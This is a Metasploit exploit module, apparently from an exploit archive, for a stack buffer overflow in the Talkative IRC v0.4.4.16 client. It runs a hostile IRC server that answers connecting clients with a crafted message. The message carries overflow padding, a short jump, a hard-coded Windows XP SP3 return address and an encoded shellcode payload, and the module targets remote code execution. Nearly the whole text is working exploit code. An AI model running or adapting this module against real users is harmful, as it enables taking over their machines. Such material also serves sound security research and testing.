Talkative IRC v0.4.4.16 Response Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/projects/Framework/  
##  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::TcpServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Talkative IRC v0.4.4.16 Response Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Talkative IRC v0.4.4.16.  
When a specially crafted response string is sent to a client,  
an attacker may be able to execute arbitrary code.   
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: $',  
'References' =>   
[   
[ 'BID', '34141' ],  
[ 'URL', 'http://milw0rm.com/exploits/8227' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 750,  
'BadChars' => "\x00\x0a\x20\x0d",  
'StackAdjustment' => -3500,  
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,  
'DisableNops' => 'True',  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP3 English', { 'Ret' => 0x72d1146b } ],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Mar 17 2009',  
'DefaultTarget' => 0))  
  
register_options(  
[   
OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ])  
], self.class)  
end  
  
def on_client_connect(client)  
res = ":irc_server.stuff 001 jox :Welcome to the Internet Relay Network jox\r\n"  
client.put(res)  
end  
  
def on_client_data(client)  
return if ((p = regenerate_payload(client)) == nil)  
  
sploit = ":" + rand_text_alpha_upper(272) + Rex::Arch::X86.jmp_short(6)  
sploit << rand_text_alpha_upper(2) + [target.ret].pack('V') + payload.encoded   
sploit << " PRIVMSG " + rand_text_alpha(rand(10) + 1)  
sploit << " : /FINGER " + rand_text_alpha(rand(10) + 1) + ".\r\n"  
  
client.put(sploit)  
  
handler  
service.close_client(client)  
end  
  
end  
`